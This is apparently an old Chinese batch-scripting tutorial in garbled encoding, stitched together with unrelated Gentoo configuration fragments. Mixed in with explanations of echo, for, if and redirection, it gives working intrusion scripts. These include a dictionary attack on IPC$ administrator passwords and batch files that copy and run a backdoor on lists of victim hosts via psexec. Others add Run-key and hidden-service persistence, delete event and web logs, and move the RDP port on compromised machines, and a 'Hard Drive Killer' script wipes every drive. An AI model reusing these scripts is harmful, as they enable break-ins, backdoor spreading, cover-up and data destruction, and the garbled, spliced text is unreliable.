??xml version="1.0" encoding="utf-8" standalone="yes"?> 一.单批处理内部命o(h)?/strong> 1.Echo 命o(h) 语法: 在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命 令到特定格式的文件中.q将在以后的例子中体现出来? 2.@ 命o(h) 表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C?/font> 用的命o(h)啦?br> 个参数给我们Q效果和/y是一L(fng)? 3.Goto 命o(h) 语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。) 标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h) 是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕? 4.Rem 命o(h) 注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d?/font> 自己日后修改?br> 5.Pause 命o(h) q行 Pause 命o(h)Ӟ显CZ面的消息Q? SampleQ? 在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示(zhn)将另一张磁盘放?/font> 驱动?A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理? 6.Call 命o(h) 从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{?/font> 。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br> 参数: 指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名? 7.start 命o(h) 调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用? 执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE不等应用E序l止p回命令提C。如果在命o(h)脚本 内执行,该新行ؓ(f)则不?x)发生?br> choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提 C可输入的字W,之间无空根{它的返回码?234...... ? choice /c:dme defrag,mem,end 显C? SampleQ? @echo off :defrag 此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行 标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最?/font> 都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束? 9.If 命o(h) if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)? 有三U格? 1)、if "参数" == "字符? 待执行的命o(h) 如if "%1"=="a" format a: 2)、if exist 文g名 待执行的命o(h) 3)、if errorlevel / if not errorlevel 数字 待执行的命o(h) 10.for 命o(h) for {%variable?%variable} in (set) do command [ CommandLineOptions] 在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable 如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受到支? 如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w? FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 查以 [drive:]path 为根的目录树(wi)Q指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则?/font> 当前目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)? FOR /L %variable IN (start,step,end) DO command [command-parameters] 该集表示以增量Ş式从开始到l束的一个数字序列? FOR /F ["options"] %variable IN (file-set) DO command 或者,如果?usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command filenameset Z个或多个文g名。l到 filenameset 中的下一个文件之前,每䆾文g都已被打开、读 取ƈl过处理? W串变量D?For 循环。以默认方式Q?F 通过每个文g的每一行中分开的第一个空白符受蟩q空?/font> 行。?zhn)可通过指定可?"options" 参数替代默认解析操作。这个带引号的字W串包括一个或多个指定不同 解析选项的关键字。这些关键字? eol=c - 指一个行注释字符的结?׃? 个符可析之分配q接受行的保留文本? 文g名称? sample1: ?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for E序体;用逗号??I格定界W号。请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引? %j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,(zhn)需要用 双引号将文g名括h。ؓ(f)了用q种方式来用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x) 被理解成是用作定义某个要分析的字W串的? %i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?'z' ?Z' 的变量。请CQFOR 变量是单一?/font> 母、分大小写和全局的;同时不能?52 个以上都在用中? (zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来?/font> q样Q该字符串会(x)被当作一个文件中的一个单一输入行? 最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W?/font> 丌Ӏ该字符串会(x)被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓进内存Qƈ被当作文件分析。因?/font> Q以下例? FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i ?x)枚丑ֽ前环境中的环境变量名U? 另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下列选项语法: ~I - 删除M引号(")Q扩?%I 量未被定义,或者没有找到文Ӟ此组合键?x)扩充空字符? 可以l合修饰W来得到多重l果: %~dpI - 仅将 %I 扩充C个驱动器号和路径 在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名比较易读Q而且避免与不分大写的组合键h? 以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途? sample2Q? 利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br> 密码? find命o(h)Q- ?>>D:\ok.txt Q这样就ko了? sample3Q? 你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x) 变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵?/font> Q看下去你就?x)明白了?/font> 主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ? %i %j %k? QIf errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g? 是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?/font> ------ ------ ----------- >>ko.txt ------------ q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一 目录?批处理内? ?蠕虫).此处不多做叙q?有兴的朋友可自行研I? 批处理中可以使用参数Q一般从1%?9%q九(ji)个,当有多个参数旉要用shift来移动,q种情况q不多见 Q我们就不考虑它了?br> @echo off 了? sample2Q? 当我们要建立一个IPC$q接地时候总要输入一大串命o(h)Q弄不好打错了Q所以我们不如把一些固定命?/font> 写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o(h) 了? 1.& UsageQ第一条命?& W二条命?[& W三条命?..] 用这U方法可以同时执行多条命令,而不命令是否执行成? SampleQ? Directory of c:\Ex4rch 2002-05-14 23:51 . 2.&& 用这U方法可以同时执行多条命令,当碰到执行出错的命o(h)后将不执行后面的命o(h)Q如果一直没有出错则 一直执行完所有命令; SampleQ? C:\>dir c:\Ex4rch && dir z: Directory of c:\Ex4rch 2002-05-14 23:55 . 在做备䆾的时候可能会(x)用到q种命o(h)?x)比较简单,如:(x) E:\backup 可以替换IF exist? 3.││ UsageQ第一条命?││ W二条命?[││ W三条命?..] 用这U方法可以同时执行多条命令,当碰到执行正的命o(h)后将不执行后面的命o(h)Q如果没有出现正的 命o(h)则一直执行完所有命令; SampleQ? Directory of C:\Ex4rch 2002-05-14 23:55 14 sometips.gif l合命o(h)使用的例子:(x) >>victim.txt 1.?命o(h) sampleQ? 看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得?/font> 录用L(fng)IP? 2.>?gt;>输出重定向命? 容后写入指定文gQ?gt;>只会(x)q加内容到指定文件中Q而不?x)改动其中的内容? sample1Q? sample2: 例外Q针对这一Ҏ(gu)们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:(x) ? 较前后两ơ的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g, 然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没 有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移?/font> 回收站里Q若pȝ没有异常反映再将之彻底删除或者提交给杀毒Y件公司? 3.< ?gt;& ?lt;& ?如何用批处理文g来操作注册表 在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删 除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也?x)修?gu)册表来加固系l或者改变系l?/font> 的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学?fn)一下如何?REG文g来操 作注册表.(我们可以用批处理来生成一个REG文g) 1.创徏 我们创徏一个文Ӟ内容如下Q? Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创Z一个名字ؓ(f)"hacker"的子 V? 另一U是创徏一个项目名U? 那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_(d)内容如下Q? Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] q样在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]? 2.修改 Q即可? 3.删除 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"?/font> 被删除了Q? 我们再看看删除一个子,我们创徏一个如下的脚本Q? Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]已l被删除?/font> ? 怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g?/font> Q记得我们前面说道的利用重定向符号可以很Ҏ(gu)地创建特定类型的文g? samlpe1:如上面的那个例子,如想生成如下注册表文? Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 只需要这P(x) samlpe2: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices?/font> Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被?/font> 杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓ(f) windrv32.exe) @start windrv32.exe c:\winnt\system32\windrv32.exe @REM [删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和 只读Qƈconfig启动] @echo preparing to delete all the default shares.when ready pres any key. :Rem check parameters if null show usage. :Rem code start. c:\delshare.reg :Usage :END :EOF @echo Windows Registry Editor Version 5.00 >patch.dll >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll @echo "DontDisplayLastUserName"="1" >>patch.dll ------------------------ cut here then save as .bat or .cmd file --------------------------- 下面命o(h)是清除肉鸡所有日志,止一些危险的服务Qƈ修改肉鸡的terminnal service留蟩后\? @net stop lanmanserver /y @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP- Tcp] >>patch.dll >>patch.dll >>patch.dll >>patch.dll set drive= rem code insertion for Drive Checking takes place here. echo @echo off >drivechk.bat cls rem When errorlevel is 1, then the above is not true, if 0, then it's true. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat cls rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat cls rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul :form_del >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat tell you the following. . . >>c:\autoexec.bat >>c:\autoexec.bat >>c:\autoexec.bat dead. >>c:\autoexec.bat Party.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat :makedir >>c:\temp.bat %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat cls further destruction. for %%a in (%drive%) call deltree /y %%a:\*. >nul cls :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! out of here).
1.Echo 命o(h)en_US ISO-8859-1
en_US.UTF-8 UTF-8
zh_CN UTF-8
zh_CN.UTF-8 UTF-8
zh_CN.GBK GBK
zh_CN.GB2312 GB2312
zh_CN.GB18030 GB18030
]]>CFLAGS="-march=native -O3 -pipe -fomit-frame-pointer -mmmx -msse -msse2"
CXXFLAGS="${CFLAGS}"
MAKEOPTS="-j5"
CHOST="x86_64-pc-linux-gnu"
USE="jpeg ssl nls unicode cjk zh nptl nptlonly mmx sse sse2 -X -gtk -gnome \
sasl maildir imap libwww mysql xml sockets vhosts snmp \
-lvm -lvm1 -kde -qt -cups -alsa -apache"
ACCEPT_KEYWORDS="~amd64"
LINGUAS="zh_CN"
SYNC="rsync://rsync.asia.gentoo.org/gentoo-portage"
GENTOO_MIRRORS="http://mirrors.163.com/gentoo ftp://gg3.net/pub/linux/gentoo"
]]>www-servers/lighttpd fastcgi memcache php mysql
sys-devel/gcc -fortran
dev-lang/php json cgi curl ctype ftp gd hash imap mhash mysql mysqli pdo simplexml truetype xml xmlreader xmlwriter xsl zip sockets
media-libs/gd fontconfig jpeg png truetype
dev-php5/jpgraph truetype
media-gfx/imagemagick jpeg jpeg2k png svg tiff xml
dev-vcs/subversion -berkdb
net-misc/curl gnutls
net-libs/courier-authlib mysql
mail-client/roundcube -sqlite
app-emulation/qemu-kvm png vde vhost-net threads
net-dns/bind resolvconf threads
net 上的package.use
mail-mta/postfix mysql sasl
www-servers/lighttpd fastcgi memcache php mysql
sys-devel/gcc -fortran
dev-lang/php json cgi curl ctype ftp gd hash imap mhash mysql mysqli pdo simplexml truetype xml xmlreader xmlwriter xsl zip sockets
www-apps/phprojekt mysql vhosts
media-libs/gd fontconfig jpeg png truetype
dev-php5/jpgraph truetype
www-apps/mediawiki imagemagick mysql
media-gfx/imagemagick jpeg jpeg2k png svg tiff xml
dev-vcs/subversion -berkdb
www-apps/bugzilla mysql
net-misc/curl gnutls
net-libs/courier-authlib mysql
mail-client/roundcube -sqlite
安装lighttpd Ҏ(gu)
emerge dev-lang/php lighttpd
]]>
dos批处理命令详?/strong>
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?
echo [{on│off}] [message]
SampleQ@echo off / echo hello world
SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq?/font>
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?
SampleQ?
if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
Rem Message
SampleQ@Rem Here is the description.
Press any key to continue . . .
@echo off
:begin
copy a:*.* dQ\back
echo Please put a new disk into driver A
pause
goto begin
语法:
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
[Drive:}[Path] FileName
常用参数Q?
MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?
REALTIME ?REALTIME 优先U类别开始应用程?
WAIT 启动应用E序q等候它l束
parameters q些Z送到命o(h)/E序的参?
8.choice 命o(h)
defrag,mem,end[D,M,E]?
Sample.bat的内容如?
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
if {%1}=={} goto noparms
if {%2}=={} goto noparms
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br>
如if exist config.sys edit config.sys
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br>
如if errorlevel 2 goto x2
DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???
for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?
在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
%variable 指定一个单一字母可替换的参数?
(set) 指定一个或一l文件。可以用通配W?
command 指定Ҏ(gu)个文件执行的命o(h)?
command-parameters 为特定命令指定参数或命o(h)行开兟?
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
FOR /D %variable IN (set) DO command [command-parameters]
因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?
序列 (5 4 3 2 1)?
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
处理包括d文gQ将其分成一行行的文字,然后每行解析成零或更多的符受然后用已找到的W号?/font>
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这?x)导致额外变量名U的
格式Z个范围。通过 nth W号指定 m W号字符串中的最后一个字W星P那么额外的变量将在最后一
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且引号字符为文字字W串命o(h)q允许在 file-set中用双引号扩v
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
%~fI - ?%I 扩充C个完全合格的路径?
%~dI - 仅将 %I 扩充C个驱动器?
%~pI - 仅将 %I 扩充C个\?
%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?
%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个完全合格的名称。如果环境变
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个驱动器号和路径?
%~ftzaI - ?%I 扩充到类D出线路的 DIR
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C
最主要的命令是一条:(x)for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命o(h)成功?/font>
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数
而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回?/font>
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
代码雏ŞQ?
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功
?如何在批处理文g中用参?/strong>
sample1Qfomat.bat
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇?/font>
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?
@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学?x)?No.3
?如何使用l合命o(h)(Compound Command)
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
UsageQ第一条命?&& W二条命?[&& W三条命?..]
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
如果q程服务器上存在backup.mdb文gQ就执行copy命o(h)Q若不存在该文g则不执行copy命o(h)。这U用?/font>
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
sampleQ?
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
四、管道命令的使用
UsageQ第一条命??W二条命?[?W三条命?..]
第一条命令的l果作ؓ(f)W二条命令的参数来用,记得在unix中这U方式很常见?
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>?x)清除调原有文g中的?/font>
echo hello world>c:\hello.txt (stupid example?)
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也?/font>
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ(gu)查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L(fng)命o(h)system32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q?/font>
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o(h)?/font>
< 从文件中而不是从键盘中读入命令输入?
>& 一个句柄的输出写入到另一个句柄的输入中?
<& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?
q些q不常用Q也׃多做介绍?
关于注册表的操作Q常见的是创建、修攏V删除?/font>
创徏分ؓ(f)两种Q一U是创徏子项(Subkey)
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
新徏?Invader、door、aboutq三个项?
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /s
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?
"Ex4rch"=-
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
我们现在在用一些比较老的木马?可能?x)在注册表?/font>
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
@regedit /s patch.dll
@delete patch.dll
@REM q样不是更安?
?_ֽ实例N?/strong>
1.删除win2k/xppȝ默认׃n的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@pause
@echo off
if {%1}=={} goto :Usage
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
echo.
echo ------------------------------------------------------
echo.
echo ?A example for batch file ?
echo ?[Use batch file to change the sysytem share properties.] ?
echo.
echo AuthorQEx4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo ErrorQNot enough parameters
echo.
echo ?Please enter the share disk you wanna delete ?
echo.
echo For instanceQto delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: QPlease chang it youself.
echo.
echo exampleQ?
echo If locak disklable are C: D: E: X: Y: Z: Qyou should chang the command into Q?
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固pȝQ给肉鸡打补丁)的批处理文g
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [止׃n]
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [止匿名d]
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [止?qing)文件访问和打印׃n]
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [止d前关机]
@REM [止昄前一个登录用户名U]
@regedit /s patch.dll
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [止一些危险的服务。]
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
